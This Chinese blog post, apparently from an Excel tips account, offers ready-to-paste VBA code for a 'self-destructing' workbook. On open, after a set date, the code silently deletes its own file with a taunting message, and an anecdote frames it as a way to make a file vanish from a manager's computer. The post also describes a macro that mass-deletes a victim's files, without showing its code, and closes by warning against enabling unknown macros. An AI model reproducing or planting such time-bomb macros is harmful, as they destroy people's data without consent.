山的那边海的那边……有位Excel高手……他在一家小型电子商务公司上班。
主管一脸懵逼…… 然后,这份工作簿就从主管的电脑里消失了,就像从来没存在过一样。 …… 如果你需要一份拥有自杀功能的Excel工作簿,将下面的代码复制到该工作簿VBE窗口的ThisWorkbook的代码窗口内,保存退出就可以了。 VBA代码如下: 代码如看不全可以左右拖动..▼ Private Sub Workbook_Open() Dim dat As Date dat = DateSerial(2019, 10, 1) If Date >= dat Then Application.DisplayAlerts = False MsgBox '你好,二货!你相信Excel会成精吗?' & vbCr & '大爷我活够了,我要死了,再见~嘎嘎嘎嘎嘎~。' With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With End IfEnd Sub 聊完了“自杀”,咱们再聊“杀人”…… 没错~Excel狠起来,不但可以自杀,还能顺手把你电脑里的文件全部删了,回收站找不到尸体的那种…… 我们知道宏病毒借助和OFFICE办公软件的亲密关系,一直拥有强大的破坏性,它可以肆意删除或加密电脑中的文件、窃取用户账号密码……等等。 以为这很高级?很复杂?和你很遥远?非黑客不能为? 错! 其实这些事儿很简单。 举个小例子。 还记得吗,之前我们分享了批量删除Excel工作簿的小代码。 如果借助Excel工作簿打开事件,结合那期的代码,当你启用宏,打开含该代码的工作簿,然后……你就会发现电脑中大量的文件都被删除了。 代码如看不全可以左右拖动..▼
重要的事情说三遍。 今天给大家聊Excel'自杀和杀人'不是为了让大家做坏事。 诸君更不要手贱去尝试那段杀人的代码……然后把自己电脑里的文件给杀个透心凉冰冰爽…… 聊这些只是告诉大家,不要轻易启用来历不明的宏文件👇 就这样,挥挥手,明天再见。 本文由公众号“Excel星球”首发。 |
|
来自: 5jia5 > 《Excle & VBA》